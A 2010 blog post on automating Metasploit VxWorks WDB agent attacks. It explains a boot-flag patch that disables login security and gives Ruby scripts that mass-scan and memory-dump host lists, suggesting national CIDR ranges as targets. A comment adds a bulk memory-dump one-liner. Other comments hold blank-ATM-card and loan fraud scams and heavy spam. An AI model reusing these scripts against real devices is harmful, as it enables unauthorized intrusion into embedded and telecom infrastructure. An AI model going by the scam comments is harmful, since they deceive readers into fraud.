Friday, August 6, 2010

Metasploit VxWorks WDB Agent Attack Automation

In CHINA pwnage is still called pwnage.

CERT published multiple advisories this week for the VxWorks operating system. The information can be found here VU#362332 and VU#840249. If you want more information on the Metasploit exploitation process visit this awesomeness posted on the Metasploit blog.

A few things you should know about the exploit.

The VxWorks debug service runs on port 17185 (UDP).

An attacker can execute the following attacks without any authentication required while maintaining a certain level of stealthiness.

  1. Remote memory dump
  2. Remote memory patch
  3. Remote calls to functions
  4. Remote task management
 
Go big or go home...
 
In June, I started testing some of the VxWorks WDB Metasploit modules HD put together. My initial goal was to look at other possible vectors of exploitation, i.e., the boot flag manipulation. We discussed this at BSidesLasVegas and Defcon. The next goal was to write my own exploit for a specific product.

The twenty-flag (0x20) as I like to call it disables login security for VxWorks devices. The amazing thing about changing flags is the fact that it survives a soft reset. I did have some trouble on a few devices. The offset for the flags can vary depending on the hardware version of the device.

In addition, if you decide to write a VxWorks wdbrpc exploit make sure you add a function to check the version by reading from memory first to identify the target so you can patch at the correct offset. If not your module might be prone to errors. See the dlink_i2eye_autoanswer module for a good example on adding multiple targets.

The following image shows the delta between two Huawei IAD (Integrated Access Device) memory dumps. The first displays the boot flag before the change and the other after the exploit.

Huawei IAD2 boot flags.
  • 0x02 -load local system symbols 
  • 0x04 -don't autoboot
  • 0x08 -quick autoboot(no countdown) 
  • 0x20 -disable login security 
  • 0x40 -use bootpto get boot parameters
  • 0x80 -use tftpto get boot image 
  • 0x100 -use proxy arp





Now, if we add one line of ruby code to the end of our exploit module we can issue a soft reset to the vulnerable device after a remote patch with new unlocked features enabled at next boot! #FTW

While a soft reset isn't always necessary and can cause unwanted attention especially during a penetration test or a live exercise, it is unfortunately necessary when manipulating boot flags so remember to use with care.

We can also locate other devices on the LAN, change tftp parameters, backdoor a device and obviously cause unwanted interference.

Depending on the target, you may be able to unlock, disable or enable certain functionality, on most devices running the VxWorks WDB agent.

What does the data look like?

A few examples of the exploit might allow you to write your name on Mars or even shut down 60% of two of the largest telecommunication companies in CHINA, specifically CHINA Telecom and CHINA UNICOM.

I ran a smoke test for approximately 24 hours using the Metasploit framework in a cloud computing environment. Just to give you an example, a single vulnerable device might very well include a telecommunication switch providing access to a backbone for an entire province within a country or even several interconnected core routes. In other words, don't let the number of vulnerable devices dictate the importance of the results. I also performed a simple whois query on the results, I was then able to parse the location data and map out various flash-points.






How can I automate the scanning process in Metasploit?

It's actually very simple. Feel free to modify the script to your own liking. Its more of a proof of concept to show others how simple it is to automate Metasploit.

Taking over the internetz in 3 easy steps.

1. Install Metasploit

2. Add your targets to a host list.

3. run the script.


Moreover, the script is also useful if you want to automate the memory dump process after all of your scans are complete. The dump process can take a very long time which is exactly why automation is so important.

Just change the output for vxworks.rc to the memory dump module and assign the dump name ( LPATH ) to include the #{line} variable ( this would be the target IP in hosts.log ) the result is the target appended to the vxworks_memory.dmp 

No worries... I've done it for you! :)




VxWorks WDB Agent AutoScan


----snip----
#!/usr/bin/ruby




# Inserts a new RHOSTS entry into the rc file.
def SwapRHOSTS(file, regex_to_find, text_to_put_in_place)
    text = File.read file
    File.open(file,'w+'){|f| f << text.gsub(regex_to_find, text_to_put_in_place)}
end


# Removes last IP block from list.
def RemoveLine()
   
    log = "hosts.log"
    text = ''
    File.open(log,"r"){|f|f.gets;text=f.read}
    File.open(log,"w+"){|f| f.write(text)}


end


    f = File.open('hosts.log')
    f.each do |line|
    

    puts "Target: #{line}"
    system("touch vxworks.rc")
    m = File.open('vxworks.rc', 'w') do |m|
    m.puts "db_driver sqlite3"
    m.puts "db_connect scandb"
    m.puts "use scanner/vxworks/wdbrpc_version"
    m.puts "set RHOSTS "
    m.puts "run"
    m.puts "exit"


end

    SwapRHOSTS('vxworks.rc', /set RHOSTS/, "set RHOSTS #{line}".chomp)
       
    system("msfconsole -r vxworks.rc")
   
    RemoveLine()

end

----snip----


VxWorks WDB Agent AutoDump



----snip----
#!/usr/bin/ruby
# Inserts a new RHOSTS entry into the rc file.
def SwapRHOSTS(file, regex_to_find, text_to_put_in_place)
    text = File.read file
    File.open(file,'w+'){|f| f << text.gsub(regex_to_find, text_to_put_in_place)}
end

# Removes last IP block from list.
def RemoveLine()
   
    log = "hosts.log"
    text = ''
    File.open(log,"r"){|f|f.gets;text=f.read}
    File.open(log,"w+"){|f| f.write(text)}


end


    f = File.open('hosts.log')
    f.each do |line|
    

    puts "Target: #{line}"
    system("touch vxworks.rc")
    m = File.open('vxworks.rc', 'w') do |m|
    m.puts "db_driver sqlite3"
    m.puts "db_connect scandb"
    m.puts "use admin/vxworks/wdbrpc_memory_dump"

    m.puts "set LPATH /tmp/vxworks_memory_"+"#{line}".chomp
    m.puts "set RHOST "
    m.puts "run"
    m.puts "exit"


end

    SwapRHOSTS('vxworks.rc', /set RHOST/, "set RHOST #{line}".chomp)
       
    system("msfconsole -r vxworks.rc")
   
    RemoveLine()

end

----snip----

Here is a decent starting point for some passive reconnaissance.

Korea CIDR


China CIDR


India CIDR


Russia CIDR


Turkey CIDR


Viet Nam CIDR


Ukraine CIDR


Brazil CIDR


Venezuela CIDR


Pakistan CIDR



I'm not a Ruby developer. I just picked it up a few months ago. The automation is quick and dirty but it should get the job done.

In terms of new exploits for different types of vendor specific products Wind River has opened up Pandora's box, not the researchers.

It was a true honor to be a part of such an exciting research project.

-D1N

107 comments:

  1. Awesome work. I was super lazy in my auto-dumping efforts. After copying the results from the scan into a file from msfconsole and massaging it into just a list of IPs via grep/cut/awk, I used a bash one-liner with msfcli to dump memory from each device into a file based on its IP.

    for i in `cat hosts`; do ./msfcli auxiliary/admin/vxworks/wdbrpc_memory_dump RHOST=$i LPATH=/tmp/vxworks/$i E ; done

    Yeah, I know....lazy, but it worked like a charm!

    ReplyDelete
    Replies
    1. I got my already programmed and blanked ATM card to withdraw the maximum of $1,000 daily for a maximum of 20 days. I am so happy about this because i got mine last week and I have used it to get $20,000. Mike Fisher Hackers is giving out the card just to help the poor and needy though it is illegal but it is something nice and he is not like other scam pretending to have the blank ATM cards. And no one gets caught when using the card. get yours from Mike Fisher Hackers today! *email cyberhackingcompany@gmail.com


      Delete
    2. I am sure a lot of us are still unaware of the recent development of the Blank ATM card.. An ATM card that can change your financial status within a few days. With this Blank ATM card, you can withdraw between $1,000-$5,000 daily from any ATM machine in the world. There is no risk of getting caught by any form of security if you followed the instructions properly. The Blank ATM card is also sophisticated due to the fact that the card has its own security making your transaction very safe and untraceable. For more info contact Mr. Calvin Grayson via email: officialblankatmservice@gmail.com or WhatsApp +447937001817

      Delete
    3. ● Hello, we are offering service for Online CC /w High Balance which is ATM Card. You can use it anywhere in the world to withdraw money from any ATM machine. Contact us with the following email address: harrisonblankatmcard@gmail.com -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 
      -- -- --------------What are the list, cost and how do i purchase the card?  Contact us on: Email: harrisonblankatmcard@gmail.com
      ★  How it works? Our cards are loaded with balance of $5,000 to $100,000 with different daily withdraw limit depending on the card you are ordering and you can use the ATM card to withdraw cash anywhere. 
      ★  Is this real? Yes, as shown in the video, we withdraw cash multiple times without any issues. You can do it too. 
      ★  Can i be traced? No, your withdraw/transactions are completely anonymous. 
      ★  Is this legal? We'll leave that for you to asnwer but we have not had any issues when doing this method. ★  Are people using this? Absolutely, people have quit most of their hard jobs to withdraw money instantly. Men and women use this card but we dont deal with kids or anyone below 18yrs
      ★  How do I get my card? We will ship your card with Pin 2 hours after receiving clear payment from you and the card will be send to you through courier delivery services. Our package usually delivered within 2-3 business day. Once you receive the card you can start cashing out. 
      ★   Are you guys for real? YES: we are 100% real and been doing this since 2015 and once you withdraw with our card please do drop a comment right here for other people to see we are being serious here. -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --                EMAIL US AT: harrisonblankatmcard@gmail.com or WhatsApp +15593840001

      Delete
  2. Hey there. I am working on the memory dump phase as well. I am able to get the memory size and the bootline of the vxworks system, but I am not able to get the memory dump done. Any change I could offer me some of your time to help me with my research ?

    ReplyDelete
  3. Hi Guys

    That bug really important for me i used it with metasploit and i have got vxworks.dmp how can i open it and what will be happen after i opened that file i need execute my commands or i want to get shell in the server who helps to me with this i will also give 50$

    Please i need it in my test
    Waiting your replies

    Thanks
    CyberLord

    ReplyDelete
  4. Very efficiently written information. It will be valuable to everyone who uses it, including myself. Thanks a lot. Stainless steel fasteners stainless steel fasteners, bolts, nuts, screws, decking screws, washers etc. All products are Stainless steel.

    ReplyDelete
  5. This is very good information a really nice blog and I wait for next update your blog. Energy efficiency heater from high efficiency toilets, to tankless water heaters and leak proofing with pipe retrofits,

    ReplyDelete
  6. That bug truly critical for me i utilized it with metasploit and i have vxworks.dmp in what manner would i be able to open it and what will be happen after i opened that record i require execute my charges or i need to get shell in the server who serves to me with this

    Pay for an essay

    ReplyDelete
  7. Our painting services include interior & exterior house painting, Commercial painting​, pressure washing, as well as painting before moving And The only national commercial painter under one owner that gives you consistent high quality nationwide, single point of contact and unparalleled industry.This blog is very useful and helpful.

    ReplyDelete
  8. This article is pretty interesting since there is so many useful information inside. We need more similar info on a daily basis. Hope you'll regularly update this web in the future. Thank you. Bieszczady domki Drewniane domki o wysokim standardzie w Bieszczadach. Własne kąpielisko, boisko, plac zabaw, Domki bieszczady,Bieszczady domki ,Domki w bieszczadach ,Bieszczady noclegi ,Noclegi bieszczady.

    ReplyDelete
  9. This article is really fascinating subsequent to there's such a variety of valuable information inside. Express gratitude toward you.We require more data like this regularly. Trust you'll routinely overhaul this web in the future.We require more information like this once a day. Trust you'll routinely overhaul this web in the future.This article is really intriguing following there's such a large number of helpful information inside. Much obliged to you.

    Grommet Curtains

    ReplyDelete
  10. I loved the way you discuss the topic great work thanks for the share Your informative post.
    Mechanical Engineering Assignment Help

    ReplyDelete
  11. Such a nice post, keep up the fantastic work!!
    PM Homework Help

    ReplyDelete
  12. Pleasant short article, thanks to the details. It is very comprehensive data www.iessaywriter.com

    ReplyDelete
  13. If you're utterly passionate about life,
    then I certainly know you are looking
    for the most zany, kooky N savvy elixers
    of eternal Seventh-Heaven, right?
    Tell me if Im wrong, buddy.
    Follow us to the Great Beyond...

    Ok. Here's the deal:

    Yes, earthling, Im an NDE
    (thus, my ethereal nomenclature) -
    so I actually know God exists:
    He rewards those who HONOR n RESPECT
    Him and strive to follow His Laws;
    for those who wanna know what
    Seventh-Heaven holds for your
    indelible, magnificent soul whom
    God has so carefully crafted -
    and if you're not too concerned
    with WWIII and N. Korea,
    you better follow us:

    Find-out what RCIA means and join.
    trustNjesus.
    ALWAYS.
    God bless your indelible soul.

    ReplyDelete
  14. If you're utterly passionate about life,
    then I certainly know you are looking
    for the most zany, kooky N savvy elixers
    of eternal Seventh-Heaven, right?
    Tell me if Im wrong, buddy.
    Follow us to the Great Beyond...

    Ok. Here's the deal:

    Yes, earthling, Im an NDE
    (thus, my ethereal nomenclature) -
    so I actually know God exists:
    He rewards those who HONOR n RESPECT
    Him and strive to follow His Laws;
    for those who wanna know what
    Seventh-Heaven holds for your
    indelible, magnificent soul whom
    God has so carefully crafted -
    and if you're not too concerned
    with WWIII and N. Korea,
    you better follow us:

    Find-out what RCIA means and join.
    trustNjesus.
    ALWAYS.
    God bless your indelible soul.

    ReplyDelete
  15. A nice article it is. The bug has really been an avenue of learning for me. You need good articles like this? go here

    ReplyDelete
  16. At the risk of making a suggestion you probably already know, I also want to academized review point out that you don't have to walk the journey alone. Having a strong and healthy support group, whether they be family, good friends, or counselors, can empower you along the way.

    ReplyDelete


  17. عملائنا الكرام اذا كنت تبحث عن افضل واقوي شركة شركة تركيب اثاث ايكيا بالرياضفى هذا المجال كما انها تتميز بالصدارة بين الكثير من الشركات المتواجدة في الرياض
    شركة تركيب اثاث ايكيا بالرياض
    كما اننا نتميز عن باقي الشركات بأننا لدينا افضل الطرق وافضل الادوات والمعدات فى تركيب غرف النوم الصيني

    كما اننا متقدمين عملائنا الكرام بتقديم افضل خدمات شركة تركيب باركية بالرياضمع توفير امهر الفنيين في تركيب اثاث ايكيا كما اننا نعلم جيدا تعدد حاجات عملائنا من احتياج الفنيين والمتخصصين في عمليات فك وتركيب اثاث ايكيا بالرياض واحتاجهم لتواجد المساعدين لانجاز مهامهم بدقة وعلي اكمل وجة ممكن
    شركة تركيب ستائر بالرياض
    كما اننا نقدم العديد من الديكورات المختلفة والتصميمات الساحرة واحدث الالوان العصرية التي لن تجدوها الا من خلال شركة تركيب اثاث ايكيا بالرياض كما اننا نوفرها بأحدث الموديلات التي تتناسب مع احتياجات جميع عملائنا
    فأننا نحيط علمكم اذا كنت تريد تركيب اي اثاث في منزلك فلديك شركة تركيب غرف نوم بالرياضبالطرق الحديثة والمتطورة في عالم تركيب غرف النوم الصيني بطريقه سليمة وسريعه في نفس الوقت وبأيدي افضل واقوي متخصصين وفنيين وخبراء في شتي مجالات تركيب الاثاث والغرف الصيني في غاية الدقة والكفاءة
    فني تركيب غرف نوم شركة خبراء المملكة لتركيب جميع انواع الاثاث الايكيا بأحدث الوسائل فأن خبراء المملكة لها تاريخ كبير في عالم تركيب ستائر بالرياض كما اننا نتميز بالصدارة لسمعتنا الجيدة والمشرفة وهذا بشهادة عملائنا جميعهم فنحن نقدم لهم جميع الخدمات المتعلقة بالمنازل والشركات ونحن دائما نعمل لتوفير الراحة الدائمة لعملائنا كما انك تجد الخبرة والجودة الفائقة بشركة تركيب اثاث ايكيا بالرياض

    فني تركيب اثاث ايكيا بالرياضيقوم الفني بتركيب جميع الغرف الصيني الحديثة لخبرتة العالية والكبيرة في مجال تركيب الغرف الصيني فأ>ا كنت تريد شركة موثوق بها فأليك شؤكة خبراء المملكة لتركيب اثاث ايكيا بالرياض فنحن لدينا العديد من الخدمات المتنوعة التي تفيد عملائنا الكرام لاننا نسعي دائما الي التطوير وتحقيق كل ما يسعي اليه عملائنا الكرام عزيزي العميل اذا كنت في اي مكان بالرياض وتريد شركة تركيب عفش بالرياضبمنزلك او مكتبك فلديك خبراء المملكة من افضل الشركات التي تقوم بتركيب شتي انواع الاثاث الايكيا بالرياض
    طريقة تركيب اثاث ايكيا
    تعد شركتنا من الشركات العريقة التي لها خبرة كبيرة والتي تستخدم احدث الوسائل التكنولوجية الحديثة والمتطورة بمنتهي الدقة والاتقان بأسلوب علمي متطور وحديث في مجال تركيب الاثاث الايكيا بأرخص الاسعار التي لا تقبل المنافسة بين شركات الاخري فأسعارنا في متناول الجميع وليس لها مثيل علي الاطلاق
    فني تركيب ستائر بالرياض

    ReplyDelete
  18. أفضل شركه نقل عفش بالرياض
    اليكم افضل النصائح شراء اثاث مستعمل التي تقدم لكم المساعدة في علي نقل العفش بأسهل الطرق المتبعة ودون اي خسائر او تلفيات لعفشك او اجهزتك كما ان تقوم شركات نقل الاثاث بالعديد من الطرق والتنوعة والتي لها اختلاف وطابع خاص عن باقي الشركات في نقل الاثاث فهناك العديد من الشركات التي تقوم بنقل الاثاث بطرق غير صحيحه وخاطئة تضر بالاثاث وتعرضة للتجريح والخدش فأن شراء اثاث مستعمل جدةتعد من افضل الشركات بالرياض التي تقوم بنقل الاثاث بأفضل الطرق المستخدمة والصحيحة في نقل الاثاث ومن تلك الطرق اننا نقوم بتغليف الاثاث اولا بالتغليف الحراري والذي له اهمية كبيرة وهو من افضل طرق التغليف علي الاطلاق ويتم استخدامه في العديد من الاستخدامات المتنوعة والعديدة ، وكما ان لدي اثاث مستعمل
    التغليف الذي يسمي التغليف بالمفرقعات الذي يتم استخدامة في تغليف الاطباق والاواني بأنواعها والزجاج واي شئ يمكن ان يكون قابل للكسر فاعتمادنا الاساسي في تأدية مهمتنا هي ان نقوم بتوصيل اثاثك من دون ان يحدث له اي تلفيات او خدوش او كسرفي نقل اثاث بالرياض كما اننا نعتمد علي اكبر السيارات في نقل العفش واحدث الرافعات التي تقوم برفع عفشك في الاماكن العالية .
    افضل الخطوات المتبعة بشركة نقل اثاث بالرياض
    - الخطوة الاولي التي تهتم بها محلات شراء الاثاث المستعمل بجدة عملية الفك بالرغم من انها تبدو سهلة الا انها تحتاج الي متخصصين وفريق مدرب ولة خبرة طويلة في كيفية الفك والتركيب للحفاظ علية من الخدش او الثني والحفاظ عليه بشكل تام .
    شركة شراء اثاث مستعمل بالرياض

    -الخطوة الثانية وهي تغليف الاثاث بشكل صحيح حتي يتم حمايتة من الاتربة والخدوش التي يتعرض لها اثناء عملية النقل وكذلك نستخدم ممتصات لاي نوع من انواع الصدمات المختلفة التي تؤدي الي تلف الاثاث بأستخدام قطع القماش مع الفلين او بلاستيك الفقاعات او النايلون لبعض من القطع
    شراء الاثاث المستعمل بالرياض
    -الخطوة الثالثة وهي تركيب الاثاث وهي خطوة هامة ايضا عندما يتم نقل الاثاث الي المنزل الجديد بشكل سليم نقوم بترتيب الاثاث داخل المنزل التسليمة الي عميلنا في ابهي صورة كما ان لدينا متخصصين في تركيب الاثاث دون تعرضة لاي تلفيات بأحدث ادوات الفك والتركيب فهم عمالة مدربة بتقنية عالية كما ان شركتنا لها اسعار تنافسية ليس لها مثيل عن باقي شركات نقل الاثاث بالرياض
    شراء اثاث مستعمل شمال الرياض


    ReplyDelete
  19. In the healthcare business, nurses are finding that individuals who have pursued an RN-BSN diploma program tend to be times prepared to proceed from traditional patient care to distinct roles in the health care sector. You can read more at click

    ReplyDelete
  20. Well, this is a very helpful post. Thanks for the information you provided. Custom product packaging offer the best quality large format printing solution in USA.
    popcorn boxes

    ReplyDelete
  21. With very nearly two many years of involvement in outlining and printing different sorts of custom boxes, we at our printing offer incredible printing

    ReplyDelete
  22. Disini kami akan berbagi informasi tentang cara menggugurkan hamil dengan cepat dan akurat dengan menggunakan obat aborsi . Mungkin Anda adalah salah satu yang ingin mencari tahu obat penggugur kandungan yang aman dan terbukti ampuh , agar dapat membantu anda untuk melakukan proses cara mencegah kehamilan yang tidak Anda inginkan . Saat ini memang banyak sekali situs yang jual obat aborsi secara online . Namun anda harus lebih cermat dalam memilih . Misoprostol adalah obat menggugurkan kandungan terbaik untuk menginduksi rahim , dan ini bisa anda gunakan untuk memperlancar haid atau sebagai obat telat datang bulan untuk melakukan cara menggugurkan kandungan

    ReplyDelete
  23. Buy Premium embroidered Lawn 2019 Online for Women's at best prices available at Motifz. ✓ Latest Fashion, ✓ Trendy Designs ➤ Shop Now!

    ReplyDelete
  24. I completely concur with your blog. Much obliged for sharing this dazzling post. Have a decent day. net worth

    ReplyDelete
  25. Buy winter collection Online for Women's at best prices available at Motifz. ✓ Latest Fashion, ✓ Trendy Designs ➤ Shop Now!

    ReplyDelete
  26. Buy lawn collection Online for Women's at best prices available at alman. ✓ Latest Fashion, ✓ Trendy Designs ➤ Shop Now!

    ReplyDelete
  27. Buy winter collection 2019 Online for Women's at best prices available at Motifz. ✓ Latest Fashion, ✓ Trendy Designs ➤ Shop Now!

    ReplyDelete
  28. I just loved your article on the beginners guide to starting a blog.If somebody take this blog article seriously in their life, he/she can earn his living by doing blogging.thank you for thizs article. pega online training , best pega online training ,
    top pega online training

    ReplyDelete
  29. Thanks for sharing! if you need high quality custom E-liquid packaging this is right place.
    Custom E-Liquid packaging.

    ReplyDelete
  30. Thanks for sharing this informative. If you like online football betting, make real money, bet on mobile phones You can play with our website that has the highest security, fun in every league, every thrilling fun game You can choose to play in any league as you want, including Bundesliga, Premier League, La Liga and many more.

    ReplyDelete
  31. Greetings..
    Please contact us for your secure and unsecured Loan at an Interest rate of 3%

    Is the difficulty of the economy affecting you this year, is your bank refuses to give you a loan for the christmas? If your answer is yes, then you need a loan. i;m kiyaan ishaq, the owner of a lending company(kiyaan ishaq finance limited) We offer safe and secure loans at an interest rate of 3%.

    * Are you financially squeezed?
    * Do you seek funds to pay off credits and debts?
    * Do you seek finance to set up your own business?
    * Are you in need of private or business loans for various purposes?
    * Do you seek loans to carry out large projects?

    If you have any of the above problems, we can be of assistance to you but I want you to understand that we give out loans at the interest rate of 3%.

    * Borrow anything up to $95,000,000 USD.
    * Choose between 1 to 20 years to repay.
    * Choose between Monthly and Annual repayments Plan.
    * Flexible Loan Terms.
    Please if you are interested check back with us through this email address:kiyaanishaqfinancelimited@gmail.com

    We promise a 100% guarantee that you will receive your loan at the end of this loan transaction.There is no security check, no credit check

    Regards
    Sheikh Tauha Karaan
    Mufti Ashraf Qureishi
    Dr Yunoos Osman
    Dr Aznan bin Hasan
    kiyaan ishaq finance limited

    ReplyDelete
  32. Hi! Nice blog. We are also offering you QuickBooks Customer Service Number. If you need any help regarding QuickBooks issues, dial 1-855-756-1077 for instant help.

    ReplyDelete
  33. We deliver high quality packaging boxes globally with the best turnaround time in the world. We are specialized in providing household boxes to our valued customers.

    ReplyDelete
  34. Fast Custom Boxes is providing all kind of Reed Diffuser Boxesin the USA with free shipping service at your own places.

    ReplyDelete
  35. It’s hard to find knowledgeable people on this topic, but you sound like you know what you’re talking about! Thanks and keep posting such a informative blogs. Also read this article Franchise In Bangalore India

    ReplyDelete
  36. Excellent post! Your post is very useful and I felt quite interesting reading it. Expecting more post like this. Thanks for posting such a good post. laptop service in home. To service your laptop with offer prices, Please visit : Laptop service center in Navalur

    ReplyDelete
  37. This comment has been removed by the author.

    ReplyDelete
  38. I hope to see more post from you. Thank you for sharing this post. Your blog posts are more interesting and impressive

    Koo App | Koo App Download

    ReplyDelete
  39. Machen Sie sich keine Sorgen. Durch den Schlüsseldienst Regensburg müssen Sie nicht auf einen schönen Kinoabend mit Freunden verzichten. Er ist Ihr kompetenter Ansprechpartner rund um Türöffnungen. Zum Fachgebiet gehören aber nicht nur Haus- und Wohnungstüren. Unsere Partner helfen Ihnen gerne bei allen Arten von Türöffnungen, wie bei der Autoöffnung Regensburg oder dem Öffnen einer Tresortür.

    Schlüsselnotdienst regensburg

    ReplyDelete
  40. พนันออนไลน์ www.warr8.com  พนันออนไลน์ ที่มีผู้เข้าใช้บริการมากที่สุดในเวลานี้ รวบรวมเกมส์ดังต่างๆไว้มากมายหลายค่าย มาพร้อมระบบฝากถอนออโต้พร้อมทีมงานคุณภาพคอยดุแลตลอด 24 ชั่วโมง

    ReplyDelete
  41. buy sports bra price in pakistan online from Dshred at easy prices delivered at your doorstep. Get free shipping

    ReplyDelete
  42. buy tops for girl online from Dshred at easy prices delivered at your doorstep. Get free shipping

    ReplyDelete
  43. buy tank tops for girls online from Dshred at easy prices delivered at your doorstep. Get free shipping

    ReplyDelete
  44. Be sure to take a look at Dshred’s apparel for women, including their sports bra. We have the best sports bra price in pakistan within Pakistan for a reasonable price. These products are essential for any woman planning to work out awnd keep in shape. Make sure you don’t miss out on the highest quality sports bras around.

    ReplyDelete
  45. Dshred is proud to show you its collection of T-shirts and tops for women. We have a wide range of tops for girls, from Crop Tops to Tank Tops. Dshred has the greatest collection of tops for girls available online today. Get everything you need now for the perfect you, at Dshred.

    ReplyDelete
  46. Dshred is proud to show you its collection of T-shirts and tops for women. We have a wide range of tops for girls, from Crop Tops to Tank Tops. Dshred has the greatest collection of crop tops for girls available online today. Get everything you need now for the perfect you, at Dshred.

    ReplyDelete
  47. The most important things when working out are flexibility and comfort. That is why Dshred has the best collection of Women’s Bottoms and Joggers to suit your needs. We have the best leggings for women and girls in Pakistan. Get high-quality gym trousers and yoga pants to suit your workout needs.

    ReplyDelete
  48. Buy the latest Organza Collection 2021 from Reign and enjoy the best price with free home delivery.

    ReplyDelete
  49. Buy the latest Lawn Collection 2021 from Reign and enjoy the best price with free home delivery.

    ReplyDelete
  50. Be sure to take a look at Dshred’s apparel for women, including their best sports bra. We have the best sports bra within Pakistan for a reasonable price. These products are essential for any woman planning to work out and keep in shape. Make sure you don’t miss out on the highest quality sports bra for girls around.

    ReplyDelete
  51. Dshred is proud to show you its collection of T-shirts and tops for girls. We have a wide range of tops for girls, from Crop Tops to Tank Tops. Dshred has the greatest collection of tops for girls online available today. Get everything you need now for the perfect you, at Dshred.

    ReplyDelete
  52. The most important things when working out are flexibility and comfort. That is why Dshred has the best collection of Women’s Bottoms and Joggers to suit your needs. We have the best leggings for girls and women in Pakistan. Get high-quality gym trousers and yoga pants to suit your workout needs.

    ReplyDelete
  53. From Reign you can buy the latest Pret Wear at best price and enjoy free home delivery.

    ReplyDelete
  54. Thank you for posting such a great article! It contains wonderful and helpful posts. Keep up the good work

    Kisan Suryodaya Yojana

    ReplyDelete
  55. Buy the latest luxury pret collection from Reign and enjoy the best price with free home delivery.

    ReplyDelete
  56. From Reign you can buy the latest pakistani luxury pret wear at best price and enjoy free home delivery.

    ReplyDelete
  57. Buy the latest Embroidered Lawn Collection from Reign and enjoy the best price with free home delivery.

    ReplyDelete
  58. Buy the latest pret lawn from Reign and enjoy the best price with free home delivery.

    ReplyDelete
  59. buy sports bra online in Pakistan from dshred at easy prices delivered at your doorstep. Get free shipping

    ReplyDelete
  60. buy gym wear online in Pakistan from dshred at easy prices delivered at your doorstep. Get free shipping

    ReplyDelete
  61. buy sports bra pakistan online from dshred at easy prices delivered at your doorstep. Get free shipping

    ReplyDelete
  62. Training service provider in united arab emirates for ndt course dubai, Welding Inspection, and QC Welding inspection training for oil and gas industry, Chemical and industrial and marine service companies.

    ReplyDelete
  63. Training service provider in united arab emirates for NDT level 2 course, welding inspection training, and QC Welding inspection training for oil and gas industry, Chemical and industrial and marine service companies.

    ReplyDelete
  64. พนันออนไลน์ www.warr8.com พนันออนไลน์ที่เมื่อคุณเล่นเกมแล้วจะทำให้สร้างรายได้ให้กับคุณแบบง่ายๆ สมัครฟรีไม่มีค่าใช้จ่าย

    ReplyDelete
  65. Do you have questions to ask? Doubts and fears about your future that you would like to see resolved? Ask for your clairvoyance by phone with a clairvoyant of our office. Whether it concerns love, work or finances, their gift and experience will be put at your service to bring you answers and predictions about your future. See beyond time and finally be one step ahead.https://voyance-telephone-gaia

    ReplyDelete
  66. Very informative post, thanks for sharing!
    homepage and services

    ReplyDelete
  67. ● Hello, we are offering service for Online CC /w High Balance which is ATM Card. You can use it anywhere in the world to withdraw money from any ATM machine. Contact us with the following email address: harrisonblankatmcard@gmail.com -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 
    -- -- --------------What are the list, cost and how do i purchase the card?  Contact us on: Email: harrisonblankatmcard@gmail.com
    ★  How it works? Our cards are loaded with balance of $5,000 to $100,000 with different daily withdraw limit depending on the card you are ordering and you can use the ATM card to withdraw cash anywhere. 
    ★  Is this real? Yes, as shown in the video, we withdraw cash multiple times without any issues. You can do it too. 
    ★  Can i be traced? No, your withdraw/transactions are completely anonymous. 
    ★  Is this legal? We'll leave that for you to asnwer but we have not had any issues when doing this method. ★  Are people using this? Absolutely, people have quit most of their hard jobs to withdraw money instantly. Men and women use this card but we dont deal with kids or anyone below 18yrs
    ★  How do I get my card? We will ship your card with Pin 2 hours after receiving clear payment from you and the card will be send to you through courier delivery services. Our package usually delivered within 2-3 business day. Once you receive the card you can start cashing out. 
    ★   Are you guys for real? YES: we are 100% real and been doing this since 2015 and once you withdraw with our card please do drop a comment right here for other people to see we are being serious here. -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --                EMAIL US AT: harrisonblankatmcard@gmail.com or WhatsApp +15593840001

    ReplyDelete
  68. I write a beautiful article on hardest languages of the world according to the learning please click and visit now.

    ReplyDelete
  69. Hey! loved the content, I too write blogs if you want you can visit my blog

    ReplyDelete
  70. Hey! I am a professional content writer and I write blogs if you want you can visit my blog

    ReplyDelete
  71. Amazing Content you can also check out what I have to offer onmy website

    ReplyDelete
  72. Loved your content you can also check out our services

    ReplyDelete

  73. Very well written blog you can also check out my website Bespoke Boxes

    ReplyDelete
  74. A great deal of information! You can also check custom logo stickers

    ReplyDelete

  75. Loved your content you can also check out tags for jewelery

    ReplyDelete
  76. Your blog is amazing you can also check out custom paper bags

    ReplyDelete
  77. Good blog you can also check out my website for noodle boxes

    ReplyDelete
  78. Loved your content you can also check out my website gable boxes

    ReplyDelete
  79. Very well written blog you can also check out my website socks packaging

    ReplyDelete
  80. web design services ​in perspective on your customer. Present day web design is more involved than making an appealing website. Considered customer experience, webpage improvement, accommodation, and specific nuances are two or three parts that are locked in with cultivating a website that is designed to act in the current relentless business place

    Our web design and improvement bunch has set up an enormous gathering of convincing services to work with the advancement of your business. These join WordPress websites and eCommerce plans focused in on comfort and responsive design, innovative stamping courses of action that implant character into your business, and custom programming for considerations that you really wanted help bringing to acknowledgment.

    ReplyDelete